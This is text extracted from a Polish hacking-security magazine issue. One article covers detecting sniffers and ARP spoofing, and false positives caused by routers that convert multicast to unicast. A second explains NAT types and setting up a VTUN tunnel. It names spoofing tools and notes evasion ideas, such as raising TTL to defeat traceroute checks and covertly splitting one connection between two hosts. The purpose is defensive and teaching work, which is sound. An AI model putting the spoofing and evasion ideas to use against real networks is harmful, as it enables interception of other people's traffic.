Oczywiście odpowiedź ta trafiała
do obu maszyn, przy czym druga
z nich powinna (zakładając, że nie
trafi się nieprawdopodobna sytuacja
„trafienia” w otwarty port, z którego
komputer właśnie wysłał segment
SYN do tego samego serwera i na
dodatek opatrzony takim samym
numerem sekwencyjnym) oczy-
wiście odpowiedzieć RST. Powin-

na, ale nie odpowie, bowiem osobi-
sta ściana przeciwogniowa ustawia
port w stan stealth, a więc TCP RST
w ogóle się nie pojawi. A prawdziwy
nadawca będzie sobie mógł serfo-
wać do woli.

Co więcej można w ten spo-

sób udostępnić nawet usługi ser-
werowe (byle porty, które odpo-
wiadają za usługi na jednym kom-
puterze były na drugim ukryte).
Mówiąc obrazowo, mamy tu do
czynienia z „wirtualnym pocięciem”
jednego komputera na dwa – ot taki
Destination NAT, tylko że bez NATa
Oczywiście całe to rozwiązanie

działać będzie wyłącznie na hubie,
bowiem każdy współczesny switch
będzie wysyłał ramki na jeden i tyl-
ko ze swoich portów.

Z butami

(dwoma) do Sieci

Zdawałoby się, że o ARP-spoofin-
gu i jego wykrywaniu wiadomo już
wszystko (komu nie wiadomo powi-
nien sięgnąć do archiwalnego tek-
stu Marek Gusta, Maciej Szmit,
„Sniffing w ethernecie z przełączni-
kami”, „Haking” nr 2/2003, str. 6-9
albo przynajmniej przeczytać do-
stępny on line tekst Daniel Kaczorow-

Tabela 1.

Dokładnie rzecz biorąc w zależności od systemu operacyjnego wyglądało to będzie następująco

ICMP „crossping”

ARP-request

Debian GNU/Linux Sarge
kernel 2.6.12:1k7

odpowiedź ICMP-reply będzie odsy-
łana zawsze spod jednego adresu
fizycznego (tej z kart sieciowych, któ-
ra zostanie podniesiona wcześniej)

odpowiedź ARP-reply będzie odsyłana zawsze
spod jednego adresu fizycznego (tej z kart sie-
ciowych, która zostanie podniesiona wcześniej),
ale już dla żądania ICMP echo request będzie
można używać dowolnej pary IP/MAC (z tym, że
odpowiedź przyjdzie zawsze z jednej karty)

Windows Vista Beta 2

Nie będzie odpowiedzi

Prawidłowe odwzorowania (IP pierwszej karty
MAC pierwszej karty, IP drugiej karty MAC dru-
giej karty)

Windows XP
(bez Service Packów)

ICMP-reply będą odesłane spod do-
brych adresów (IP pierwszej karty
MAC pierwszej karty, IP drugiej kar-
ty MAC drugiej karty)

Prawidłowe odwzorowania (IP pierwszej kar-
ty MAC pierwszej karty, IP drugiej karty MAC
drugiej karty)

Knoppix STD 0.1
kernel 2.4.21

odpowiedź ICMP-reply będzie odsy-
łana zawsze spod jednego adresu
fizycznego (tej z kart sieciowych, któ-
ra zostanie podniesiona wcześniej)

dwie odpowiedzi (dwa adresy MACs dla jedne-
go adresu IP) – możliwe fałszywe odwzorowa-
nie w tablicy ARP-cache u klienta

Rysunek 1.

Schemat sieci współdzielenia łącza przez dwa komputery

Host A

IP: 192.168.0.2

MAC: 00:00 06:07:08:09

Hub

Router

Host A

IP: 192.168.0.2

MAC: 00:00 06:07:08:09

Internet

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

38

ski, Maciej Szmit, „Zdalna detekcja
snifferów w Sieci switching ethernet”

http://m-szmit.republika.pl/Kaczoro-

wskiiszmit.pdf). Programy używane
przez podsłuchujących (arpspoof
w linuxie czy WinArpspooofer w

Windows) zalewają ofiarę fałszy-
wymi odwzorowaniami ARP-reply,
które modyfikują jej tablicę ARP
cache tak że zamiast pod prawdzi-
wy adres fizyczny, przesyła swo-
je dane pod adres wskazany przez
napastnika. Obrona też wygląda-
ła prosto – wstarczy wysłać zapy-
tanie ARP request i policzyć przy-
chodzące odpowiedzi (zakładając,
że napastnik nie wyeliminował ma-
szyny, pod którą się podszywa np
za pomocą ataku DoS), ewentualnie
uruchomić arpwatch, który będzie
śledził zmiany odzoworwań MAC/IP
i w razie czego przyśle nam alar-

mującą wiadomość. I owszem to
wszystko będzie działało, przynajm-
niej dopóki zdolny administrator nie
wpadnie na pomysł zainstalowania
w serwerze zapasowej karty (lub co
gorsza kilku) podpiętej do tej samej
Sieci (fizycznej i logicznej, to jest uży-
wającej adresów IP z tej samej Sieci).
Podówczas z odwzorowaniami ARP
(i nie tylko) zaczną się dziać dziwne
rzeczy. Jeśli jeszcze użyjemy kom-
putera z systemem Linux, to może
okazać się, że będziemy mieli po kil-
ka odwzorowań tego samego IP na
różne adresy MAC. Jeżeli będziemy
mieli do czynienia z sytuacją jak na
Rysunku 2 i zdecydujemy się na wy-
słanie np. żądania ICMP echo-requ-
est na IP pierwszej karty (ale umie-
ściwszy je w ramce zaadresowanej
adresem fizycznym drugiej karty) to
rezultaty mogą nas zaskoczyć.

Zatem w przypadku linuxa z ją-

drem 2.4 programy takie jak ARP-
analyzer podniosą fałszywy alarm.
Jeśli spodziewamy się znaleźc w
siecie tego typu zjawisko powinni-
śmy użyć kolejnej wersji programu
WinAntiSniffer wzbogaconej o wy-
krywanie ARP-spoofingu (może-
cie ją oczywiście znaleźć na krąż-
ku dołączonym do pisma). Wyko-
rzystuje ona fakt, że w przypad-
ku podsłuchu ARP-spoofing na
pewno nie dostaniemy odpowiedzi
ICMP echo-reply na zestaw MAC
ofiary/IP pirata (a dostaniemy taką
odpowiedź w przypadku serwea z
dwoma kartami). No chyba, żeby-
śmy mieli do czynienia z dwoma
piratami, którzy podszywają się
pod siebie wzajemnie. Rozważa-
nia, jak wygladać może sytuacja
przy większej liczbie piratów pozo-
stawiamy dla Czytelników o moc-
nych nerwach (przypominając, że
liczba dwuelementowych podzbio-
rów zbioru n-elementowego rośnie
z kwadratem n).

Dla lubiących proste rozwią-

zania: istnieją jeszcze dwa inne
sposoby wykrywania ARP-spoofin-
gu, o których nie wszyscy muszą
wiedzieć. Po pierwsze wystarczy
uruchomić polecenie traceroute na
adres, co do którego mamy wąt-

Rysunek 3.

Konwersja ruchu multicast na unicast wykonywana przez router

Switch

pakiet C

pakiet A i B

pakiet D i E

pakiet A i B

pakiet A i B

pakiet A i B

pakiet D

pakiet G

pakiet E

pakiet F

Host B

IP: 192.168.134.2

MAC: 00:00:01:02:03:04

Uruchomiony sniffer

KROK 2 (pakiet C):

Odpowiedź ICMP na pakiet

A (ze względu na sniffer)

KROK 5 (pakiet G):

Na pakiet D (unicast) host

udziela odpowiedzi ICMP.

Router

IP: 192.168.134.254

KROK 3 (pakiet D i E):

W wyniku odebrania pakietu A

i B router generuje 2 pakiety

ICMP unicast (docelowy adres

MAC unicast i doselowy adres

IP unicast)

pakiet D:

MAC - 00:00:01:02:03:04

IP - 192.168.134.2

pakiet E:

MAC - 00:00:01:02:03:05

IP - 192.168.134.3

Host C

IP: 192.168.134.2

MAC: 00:00:01:02:03:05

Barak sniffera

KROK 4 (pakiet F):

Na pakiet E (unicast) host

udziela odpowiedzi ICMP.

Host A

IP: 192.168.134.1

KROK 1 (pakiet A i B):

Wysyłany pakiet ICMP multicast

(docelowy adres MAC multicast i

docelowy adres IP unicast

pakiet A:

MAC - FF:FF:FF:FF:FF:FF

IP - 192.168.134.3

Rysunek 2.

Serwer z zainstalowanymi dwiema kartami sieciowymi

pracującymi w jednej sieci logicznej LAN

Klient

IP: 192.68.0.3

IP: 192.68.0.1

IP: 192.68.0.1

Switch

Serwer z dwoma

interfejsami

background image
background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

40

pliwości (najczęściej będzie to ad-
res naszej bramy) – jeśli okaże się,
że po drodze między nami a do-
myślną bramą jest jeszcze jakieś
IP to zdecydowanie mamy powód
do zmartwienia. Oczywiście ata-
kujący może spróbować się przed
tym zabezpieczyć (na przykład za
pomocą reguły podnoszącej TTL
w forwardowanych pakietach, ale
do tego trzeba już trochę się napra-
cować, w każdym razie na „gołego”
arpspoofa i WinARPSpoofera ten
sposób wystarczy).

Warto też zainteresować się pa-

kietami ICMP redirect. Ich obec-
ność w Sieci może może nam zasu-
gerować, że oburzony system ope-
racyjny pirata (powiedzmy: począt-
kującego pirata, który nie zabezpie-
czył się przed tym zjawiskiem) wy-
syła ofierze informacje „ja przecież
nie jestem routerem”. Niestety zale-
wanej pakietami ARP reply ofierze
wiele to nie pomoże, chyba że za-
lew komunikatów ICMP da admini-
stratorowi do myślenia. I znowu: wy-
kwalifikowany pirat powinien, ale
przecież nie będziemy ułatwiać ży-
cia piratom.

W każdym razie uważajcie na

zwiększony ruch ICMP redirect
(tym bardziej, że może on świad-
czyć o jeszcze jednej metodzie ata-
ku, zwanej ICMP-redirect spoofing,
ale o tym już innym razem).

Problemy grupowe

Dla administratora wizja kilku pira-
tów w Sieci (jego Sieci!) podsłuchu-
jących się wzajemnie wydaje się być
rodem z koszmarnego snu. Nic dziw-
nego, że kiedy zdarzyło się nam
zobaczyć coś podobnego nie mo-
gliśmy uwierzyć własnym oczom.

Rysunek 4.

Pakiety przechwycone na hoście A (z uruchomionym WinAntiSnifferem) w przypadku badania hosta C

Rysunek 5.

Pakiety przechwycone na hoście A (z uruchomionym AntiSnifferem) w przypadku badania hosta B

Jak się okazało, całkiem słusznie.
Pamiętacie testy odpowiedzi służą-
ce do wykrywania klasycznych snif-
ferów? Jeśli nie pamiętacie, to zaj-
rzyjcie do archiwalnych numerów

Hakin9u, żeby przeczytać na przy-
kład artykuł Maciej Szmit, Mariusz
Tomaszewski, Marek Gusta, „Snif-
fing dla początkujących”, „Software
2.0 Extra”, Nr 5/2003 str. 18-25, albo
– jeśli wolicie skorzystać z Interne-
tu – to poczytajcie dokument http://

m-szmit.repulika.pl/sis2002.pdf.

Testy, o których mowa spro-

wadzają się do przesłania do po-
dejrzanego komputera odpowied-
nio spreparowanej ramki (z błę-
dym adresem docelowym MAC),
w której umieszczony jest pakiet
zawierający żądanie odpowiedzi
(ARP Request lub ICMP Echo Re-
quest) zaadresowany adresem IP
podejrzanego komputera. Z uwagi
na zaimplementowanie we wszyst-
kich systemach operacyjnych wir-
tualne filtry pakietów (no – prawie
we wszystkich, w Windows Vista
Beta 2 o takich nie słyszeli) jedyny-
mi adresami MAC odbiorcy mogą
być niektóre z adresów multicasto-
wych (mowa o multicastach ether-
netowych, czyli adresach MAC,
w których najmniej znaczacy bit
najbardziej znaczacego bajtu jest
jedynką).

W przypadku Sieci wykorzy-

stującej koncentratory i „zwykłe”
routery (na przykład komputery
z dwiema kartami sieciowymi pra-
cujące pod kontrolą systemu ope-
racyjnego NetWare albo Linux, czy
też routery firmy CISCO) dziala-
nie testów jest zgodne z oczeki-
waniem. Jakież jednak było na-
sze zdumienie, kiedy w w sieciach

wykorzystujących tanie routery
(a właściwie router-switche) firm
D-Link oraz Lucent wszystkie kom-
putery zaczęły nagle odpowia-
dać na testy wykrywajace sniffe-
ry. Okazało się, że winne są urzą-
dzenia, których działanie w zakre-
sie obsługi multicastów jest dość
niestandardowe. Mianowicie przyj-
mują one, że w przypadku otrzy-
mania ramki zaadresowanej gru-
powym adresem MAC, należy jej
zawartość przesłać dalej jako ram-
kę unicastową, przy czym adres
odbiorcy ramki jest adresem MAC
komputera, którego IP zawarte było
w pakiecie niesionym przez ramkę.

W przypadku wysłania multi-

castowej ramki zawierającej bro-
adcastowy pakiet (a tak działają
testy odpowiedzi) urządzenie prze-
śle do Sieci broadcastową ramkę
z broadcastowym pakietem. Me-
chanizm ten występuje w przypad-
ku, gdy przesyłany jest pakiet IP
i wyłącznie wtedy, gdy multica-
stowy MAC jest z zakresu

FF:FF:

F F:F F:F F:00-F F:F F:F F:F F:F F:F E

(przynajmniej w przypadku testo-
wych przez nas urządzeń D-Link).
Jest to zachowanie zbliżone nieco
do zachowania m-routera (route-
ra obsługującego multicasty), ale
zdecydowanie mniej doskonałe.

Konsekwencją jego jest – w przy-

padku testów odpowiedzi – fałszywe
wykrycie (ang. false positive) snif-
ferów na wszystkich sprawdzanych
komputerach w segmencie (kom-
putery otrzymuja pytanie w ramce
zaadresowanej prawidłowym – uni-
castowym adresem MAC, na które
oczywiście odpowiadają). Dokład-
niej – w segmencie pojawiają się
dwa pytania – jedno w ramce multi-

background image

Huby w pajęczynach i złośliwe m-routery

hakin9 Nr 1/2007

www.hakin9.org

41

castowej (na które odpowiadają tyl-
ko komputery z interfejsem pracu-
jącym w trybie promiscuous – o ile
oczywiście są wrażliwe na ten rodzaj
testu) – oraz drugie (w ramce unica-
stowej).

Ramka unicastowa będzie za-

adresowana fizycznym adresem
MAC interfejsu komputera, którego
adres IP był umieszczony w ramce
multicastowej. Zatem na ramkę uni-
castową odpowie określony kompu-
ter nawet jeśli nie pracuje w trybie
promiscuous (Rysunek 3).

Co gorsza, jeśli w Sieci jest wię-

cej niż jedno tego typu urządzenie
(a w przeciwieństwie do stad pira-
tów, to się zdarza się i to nawet dość
często w przypadku podziału Sie-
ci wewnętrznej na kilka podsieci
– konfiguracja stosowana nagminnie
w sieciach akademickich podzielo-
nych na pracownie studenckie) – licz-
ba ramek odpowiednio się zwiększa.
Rozwiązaniem problemu jest uprzed-
nie zliczanie multiplikacji ramek

poprzez wysłanie, przed uruchomie-
niem właściwego testu, ramki mul-
ticastowej zawierającej pakiet ad-
resowany do komputera, na którym
będziemy przeprowadzać testy (za-
zwyczaj do siebie) i zliczenie przy-
chodzących ramek unicastowych.
Z kolei w testach odpowiedzi należy in-
formację o wykryciu sniffera umieścić
tylko w przypadku, gdy liczba przycho-
dzących odpowiedzi jest o jeden więk-
sza niż liczba wykrytych urządzeń.

Zatem rozważając sytuację z Ry-

sunku 3 należy spodziewać się w
Sieci pakietów przedstawionych na
Rysunku 4 (w przypadku badania
hosta C – bez sniffera) oraz na Ry-
sunku 5 (w przypadku badania ho-
sta B – ze snifferem). Najpierw z ho-
sta A wysyłane jest zapytanie ICMP
echo-request z adresem docelowym
IP wskazującym na siebie samego
w ramce multicastowej. Jak widać
drugi pakiet w Sieci to efekt zamiany
przez router pakietu multicast na uni-
cast. Następnie wysyłany jest pakiet
sondujący na adres 192.168.134.3
w ramce multicastowej (host C nie
udzieli na niego odpowiedzi, gdyż
nie jest na nim uruchomiony sniffer).
W tym momencie w Sieci pojawi się
również wygenerowany przez router
pakiet ICMP echo-request unicast,
który trafi do hosta C (pakietu tego

nie można przechwycić na hoście A,
stąd nie widać go na rysunku). Host C
udziela odpowiedzi ICMP echo-reply
(pakiet nr 4). W efekcie można przy-
puszczać nie znając topologii i urzą-
dzeń pracujących w Sieci, że na kom-
puterze C jest uruchomiony sniffer
– nie jest to jednak prawda.

W stosunku do sytuacji z Rysun-

ku 4, teraz widać, że host B z uru-
chomionym snifferem udziela dwóch
odpowiedzi – na pakiet multicast (ze
względu na pracę w trybie promisc)
oraz na pakiet unicast wygenerowa-
ny przez router.

Rozwiązanie to zostało oczywi-

ście zaimplementowane w wersji 2.4
programu WinAntisniffer, który może-
cie znaleźć na załączonym do pisma
krążku CD-ROM.

Podsumowanie

Choć zagadnienia związane z pod-
stawami obsługi protokołów siecio-
wych wydają się czasami trywialne
i dobrze znane, często okazuje się,
że są to tylko pozory, a błędy i nie-
ścisłości w ich implementacji zda-
rzają się i najlepszym. Trochę to po-
cieszające, kiedy sami łapiemy się
na tym, że kiedyś napisaliśmy coś
nie do końca ścisłego, albo zapo-
mnieliśmy o jakichś szczególnych
przypadkach. l

W Sieci

http://www.microsoft.com/technet/
prod-technol/windows2000serv/
r e s k i t / r e g e n t r y / 5 8 7 3 7 . m s p x ?
mfr=true.

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 1/2007

42

Obrona

G

odzina zero. Urządzeń korzystających
z publicznych adresów IP ciągle przy-
bywa. Z raportu ([1]) opublikowanego

w 2002 roku wynikało, że pula publicznych ad-
resów internetowych zostanie wyczerpana do
2005 roku. Rok 2005 minął spokojnie, a pro-
blem adresacji specjalnie nam nie doskwierał.
Nowe raporty przesuwają datę apokalipsy na
lata od około 2010 do 2026. Pomimo tego, że
wg niektórych źródeł w roku 2012 nastąpi już
definitywnie koniec świata i problem dostępno-
ści IP zejdzie na drugi plan, ustępując pierw-
szeństwa problemom egzystencjalnym, warto
wiedzieć, że to właśnie rozwój lokalnych sie-
ci komputerowych przyczynił się między inny-
mi do przesunięcia momentu, kiedy nie będzie
można już podłączyć żadnego nowego kompu-
tera do sieci globalnej.

Problem IP i jego rozwiązanie

Aby dwa komputery mogły się ze sobą w In-
ternecie skomunikować, muszą posiadać pu-
bliczne adresy IP – głosi powszechnie znana
teza. Jednak nie jest ona do końca prawdzi-
wa. Z jednej strony prawdą jest, że krążące
w Internecie pakiety powinny mieć publicz-
ny adres źródłowy i docelowy, co pociąga

za sobą konieczność istnienia dwóch kom-
puterów posiadających zewnętrzne IP – jed-
nego nadającego a drugiego odbierającego.
Z drugiej strony istnieją mechanizmy, które
potrafią umożliwić maszynom posiadającym
lokalną adresację bezproblemową komunika-
cję z dowolnym adresem IP. Jednym z takich
mechanizmów jest właśnie NAT (Network

Address Translation) czyli translacja adre-

Sieci nie tak znowu lokalne

Konrad Malewski

stopień trudności

Szybki przyrost ilości komputerów na świecie powodują, że

zmniejsza się ilość wolnych adresów IP. Najczęściej stosowane

rozwiązanie czyli NAT pomimo swoich zalet, posiada również

wadę. Jest nią brak możliwości tworzenia połączeń pomiędzy

komputerami znajdującymi się w różnych sieciach lokalnych.

Z artykułu dowiesz się...

• Jak działa NAT;
• Jakie są rodzaje NAT i jakie są ich właściwo-

ści;

• Jakie są techniki nawiązywania bezpośrednich

połączeń UDP oraz TCP pomiędzy lokalnymi
sieciami.

Co powinieneś wiedzieć...

• Powinieneś znać model ISO/OSI;
• Powinieneś mieć ogólne pojęcie o zasadzie

działania sieci TCP/IP;

• Powinieneś mieć ogólne pojęcie o programo-

waniu gniazd sieciowych.

background image

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

43

sów sieciowych. NAT nie jest je-
dynym mechanizmem tego typu.
Do umożliwienia surfowania można
na przykład użyć serwerów proxy
czy też wykorzystać protokół RSIP.
Rozwiązania alternatywne często
są wykorzystywane w miejscach,
w których ten, kto udostępnia Inter-
net chce mieć pełniejszą kontrolę
nad przesyłanymi danymi.

Translacja adresów

NAT jest obecnie jednym z najczę-
ściej stosowanych mechanizmów
służących do udostępniania połą-
czenia internetowego w sieciach
lokalnych. Jest to mechanizm spraw-
dzony, dość dobrze przetestowa-
ny i zrealizowany lepiej lub gorzej
w szerokiej gammie routerów sprzę-
towych. Istnieją oczywiście dar-
mowe implementacje programowe
NAT – natd czy iptables. Stosowanie
tego rozwiązania posiada następu-
jące cechy:

• NAT oszczędza pule adresów

– wiele komputerów może posia-
dać jeden adres publiczny, pod
którym będą widoczne;

• Udostępnianie Internetu dodat-

kowym maszynom wymaga jedy-
nie przekonfigurowania routera.
Nie istnieje potrzeba dokupywa-
nia dodatkowych adresów u ISP;

• Stosując NAT w firmie łatwo zmie-

nić dostawcę internetowego;

• NAT automatycznie tworzy swo-

jego rodzaju firewall, który nie
pozwala na niekontrolowane łą-
czenie się komputerów z interne-
tu z tymi w sieci lokalnej;

• NAT nie wymaga specjalnej kon-

figuracji aplikacji na komputerach
klientów.

Niestety oprócz licznych zalet uży-
wając NAT warto pamiętać również
o jego niedostatkach:

• Stosowanie NAT przy dużej licz-

bie komputerów i jednym adresie
powoduje najrozmaitsze proble-
my, które niekoniecznie wskazu-
ją na konkretną przyczynę;

• Aby działać poprawnie, niektó-

re usługi wymagają publicznego

adresu IP lub/i wymagają dedy-
kowanego portu;

• NAT wymaga więcej zasobów

(pamięć, CPU) niż rozwiązanie
oparte wyłącznie na routingu;

• Niektóre protokoły nie działają

dobrze w środowisku z NAT (np.
ftp, ipsec).

Istnieje szereg rodzajów NAT:

• Jednokierunkowy NAT;
• Dwukierunkowy NAT;
• NAT z translacją portów;
• Dwukrotny NAT.

Różnice pomiędzy poszczególnymi
rodzajami NAT oraz zasadę dzia-
łania najlepiej pokazać za pomo-
cą przykładu. Załóżmy, że w sie-
ci istnieje komputer, który posia-
da lokalny adres 192.168.19.100
i jest podłączony do Internetu przez
NAT, którego adres publiczny to
157.158.181.42. Co się dzieje, gdy
komputer z lokalnym adresem IP
chce się połączyć np. z komputerem
o adresie 157.158.180.200? W przy-
padku NAT-a komputer z lokalnym
IP używa maszyny z usługą NAT ja-
ko domyślnego routera, więc chcąc
nawiązać jakąkolwiek komunikację
poza LAN wyśle do niego pakiety.
Przy przejściu pakietu przez router
zostanie zamieniony adres źródłowy
pakietu na adres publiczny routera.
Komputer, do którego dotrze pakiet
po zmianie adresu zobaczy połą-
czenie nie z adresu 192.168.19.100,
ale z 157.158.181.42.

Jednokierunkowy NAT charak-

teryzuje się tym, że komputer z po-
za sieci lokalnej nie może nawią-
zać połączenia do wewnątrz LAN.

Rysunek 1.

Uproszczony model sieci

Komputer z publicznym

adresem IP

Komputer z lokalnym

adresem IP

INTERNET

Sieć lokalna

Sieć lokalna

Router z NAT

Router z NAT

Komputer z lokalnym

adresem IP

Komputer z lokalnym

adresem IP

Komputer z lokalnym

adresem IP

Rysunek 2.

Zasada działania NAT pokazana na przykładzie NAT

jednokierunkowego

Komputer A

IP: 192.168.19.100

Src: 192.168.19.100

Src port: 3000

Src: 157.158.181.42

Src port: 3000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.181.42

Src port: 5000

Src: 157.158.180.100

Src port: 5000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

44

Wszystkie próby nawiązania połą-
czenia do routera są przetwarzane
jako próby połączenia z samą ma-
szyną routera.

Taką funkcjonalność umożliwia

dwukierunkowy NAT. Jeśli kompu-
ter 157.158.180.200 wyśle pakiet do
157.158.181.42, to router zamieni ad-
res docelowy na ten z sieci lokalnej.
Komputer lokalny zarejestruje połą-
czenie z adresu 157.158.180.200.

Autorzy poszczególnych imple-

mentacji NAT starają się, by pakie-
ty przechodzące przez router były

modyfikowane w jak najmniejszym
stopniu. I tak np., jeżeli klient NAT w
sieci lokalnej próbuje ustanowić po-
łączenie zewnętrzne i używa do te-
go celu portu źródłowego X, to NAT
będzie starał się użyć portu źródło-
wego X po translacji adresu IP. Aby
zrozumieć zasadność istnienia NAT
z translacją portów należy rozwa-
żyć następujący przypadek: co się
stanie jeśli dwóch klientów będzie
próbowało otworzyć połączenie ze-
wnętrzne i będą używać tego same-
go portu źródłowego? NAT powinien

jak najmniej ingerować w zawartość
przepływających pakietów, ale w tej
sytuacji nieingerowanie spowoduje,
że po translacji połączenia staną się
nierozróżnialne od siebie (oba uży-
wałyby portu X jako źródłowego).
Jeżeli NAT wykryje taką sytuację, to
dokona translacji portu i w przypad-
ku drugiego połączenia NAT oprócz
adresu IP zmieni również port źró-
dłowy.

Skoro istnieje możliwość zamia-

ny adresu i portu źródłowego, to nic
nie stoi na przeszkodzie, aby zamie-
niać również adres docelowy. Zamie-
nianie adresu docelowego ma sens
między innymi w sytuacji, w której
chcemy połączyć dwie sieci, których
adresy nakładają się. Jeśli chcieli-
byśmy umożliwić komunikację po-
między tymi dwoma sieciami to albo
musielibyśmy zmienić adresy w jed-
nej z nich, albo zastosować podwójny
NAT na routerach, zamieniając adre-
sy sieci tak, aby się nie nakładały.

Istnieją podziały NAT ze względu

na inne kryteria, jednakże na chwilę
obecną poprzestaniemy na tym po-
dziale.

Rysunek 3.

Zasada działania dwukierunkowego NAT

Komputer A

IP: 192.168.19.100

Src: 192.168.19.100

Src port: 3000

Src: 157.158.181.42

Src port: 3000

Src: 157.158.180.200

Src port: 5000

Src: 192.168.19.100

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.181.42

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Rysunek 4.

NAT z translacją portów

Komputer A

IP: 192.168.19.100

Scr: 192,168.19.100

Src port: 3000

Dst: 157,158.19.200

Dsc port: 5000

Scr: 157.158.181.42

Src port: 3000

Dst: 157.158.180.200

Dst port: 5000

Scr: 157.158.181.42

Src port: 3000

Dst: 157.158.180.200

Dst port: 5000

Scr: 192.168.19.101

Src port: 3000

Dst: 157,158.19.200

Dst port: 5000

Komputer A'

IP: 192.168.19.101

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Rysunek 5.

Podwójny NAT

Komputer A

IP: 192.168.19.100

Src: 157.158.181.42

Src port: 3000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Src: 157.158.180.200

Src port: 5000

Komputer R1

IP: 157.158.181.42

Komputer S'

IP: 157.158.191.236

background image

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

45

Problem bezpośrednich

połączeń

Obecność maszyny pośredniczą-
cej w wymianie pakietów oraz lokal-
na adresacja znacząco komplikuje
klasyczny schemat nawiązywania
połączeń pomiędzy komputerami
znajdującymi się w różnych sieciach
lokalnych. Większość NAT używa-
nych obecnie to NAT z translacją
portów. O ile nie ma większych pro-
blemów z nawiązaniem sesji kom-
putera w LAN z serwerem posiada-
jącym publiczne IP, o tyle wszystkie
żądania połączeń z sieci zewnętrz-
nej zostaną odrzucone przez ro-
uter łączący komputer z Internetem.
Nawet jeśli mamy dostęp do konfi-
guracji routera i zastosujemy prze-
kierowanie portu do sieci lokalnej,
to i tak nie rozwiązuje to wszyst-
kich problemów, ponieważ można
przekierować port jedynie do jedne-
go adresu. Czasami przekierowanie
jednego portu może być idealnym
rozwiązaniem, ale co w przypadku
kiedy administrator naszej lokalnej
sieci nie ma ochoty zmieniać kon-
figuracji routera, a w dodatku doce-
lowa maszyna również znajduje się
za NAT. Z pomocą przychodzą nam
różne techniki, przy użyciu których
możemy ustanowić bezpośrednie
połączenia i nie będziemy musie-
li zawracać głowy naszemu admi-
nistratorowi.

Prosty sposób na P2P

Jeśli jeden z komputerów posiada
publiczny adres IP, to problem po-
łączenia w jedną stronę praktycz-
nie nie istnieje. Komputer z publicz-
nym adresem IP jest osiągalny bez-
pośrednio, więc połączyć się z nim
można tak samo, jak z każdym in-
nym w Internecie. Połączenie w dru-
gą stronę sprawia już więcej proble-
mu. Aby je umożliwić należy odwró-
cić schemat połączenia. A mianowi-
cie komputer z publicznym IP mu-
si zażądać połączenia od kompu-
tera zza NAT. Skoro nie może zro-
bić tego bezpośrednio, to musi ist-
nieć komputer pośredniczący, po-
przez który do maszyny za NAT zo-
stanie przesłane żądanie połączenia
(Rysunek 6).

Rozwinięciem tego pomysłu, się-

gającego jeszcze czasów Napste-
ra, jest przesyłanie danych poprzez
pośrednika sieciowego, który posia-
dałby publiczny adres IP. Klienci, za-
miast łączyć się bezpośrednio ze so-
bą, łączą się z serwerem, który two-
rzy tunel łączący dwie sieci.

Pomysł ten nosi nazwę TURN

(skrót ang. Traversal Using Re-

lay NAT). Rozwiązanie to jest dość
uniwersalne, a na dodatek bardzo
skuteczne (Rysunek 7). Posiada jed-
nak pewne wady, a mianowicie wyma-
ga dedykowanego serwera pośred-
niczącego oraz protokołu wymiany
danych oraz informacji sterujących
tunelem. To ostatnie wymusza ist-
nienie warstwy pośredniej, z którą
komunikowałaby się aplikacja chcą-
ca przesłać dane. Jeżeli rozwiąza-
nie to miałoby zostać wykorzystane
na większą skalę np. gdyby na jego
bazie chcieć świadczyć usługi jako
uniwersalny pośrednik sieciowy, to
należy się liczyć również z proble-
mami natury prawnej.

Zestawiamy VPN

Dla własnej potrzeby możemy jed-
nak w bardzo szybki sposób zesta-
wić tunel takiego typu. W najprost-
szym przypadku musimy jedynie
posiadać uprawnienia administra-
tora na maszynie z publicznym
adresem IP. Do stworzenia tunelu

pomiędzy komputerami A i B uży-
jemy VPN o nazwie VTUN. VTUN
umożliwia stworzenie na kompu-
terze za NAT wirtualnego interfej-
su sieciowego, który połączy go
z drugim komputerem. Od strony
routera łączącego A z internetem
tunel widoczny jest jako jedno po-
łączenie A z komputerem C. Do-
datkowo VTUN umożliwia szyfro-
wanie przesyłanych danych. Alter-
natywnym rozwiązaniem i ponie-
kąd uważanym za bezpieczniejsze
jest OpenVPN, który dostępny jest
nawet na platformę Windows. Jed-
nak ze względu na prostotę konfi-
guracji w tym przykładzie zostanie
użyty VTUN. Po pomyślnej instalacji
VTUN, należy skonfigurować usłu-
gę pracującą na maszynie serwera
(w tym przykładzie niech będzie to
maszyna C), oraz na maszynach
klientach (A i B).

Na maszynie C plik konfiguracyj-

ny (Listing 2).

Plik konfiguracyjny na hoście A

jest stworzony analogicznie do hosta
B. Różnią się wyłącznie nazwą sekcji
(hosta zamiast hostb) oraz adresem
IP tunelu (10.1.0.2). Większość opcji
w pliku konfiguracyjnym jest samo
komentująca się. Obszerną doku-
mentację jest domyślny plik konfigu-
racyjny dostarczony wraz z oprogra-
mowaniem. Znaleźć tam można do-
kładny opis każdego z parametrów.

Rysunek 6.

Schemat odwróconego połączenia

Żądanie połączenia

INTERNET

Połączenie

R1

A

B

C

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

46

Mając już przygotowane pliki

konfiguracyjne uruchamiamy serwer
VTUN na kompuerze C:

vtund -s -f vtun-srv.conf

oraz na komputerze A:

vtund -f vtun-hosta.conf -p hosta
157.158.180.200

i na koniec na komputerze B:

vtund -f vtun-hostb.conf -p hostb
157.158.180.200

Jeśli wszystko poszło dobrze, to ser-
wer C powinien posiadać dwa dodat-
kowe interfejsy – tap0 łączący C z A
oraz tap1 łączący C z B.

Teraz wystarczy ustawić regu-

ły routingu pozwalające na komuni-
kację A z B oraz włączyć przekazy-
wanie pakietów pomiędzy interfejsa-
mi tap0 i tap1 na hoście C. Routing
na A i B możemy ustawić na dwa
sposoby. Można do tego celu użyć
standardowej komendy route, lub też
bardziej zaawansowane ip z pakietu

iproute. Zaletą używania polecenia
ip jest możliwość ustawienia adre-
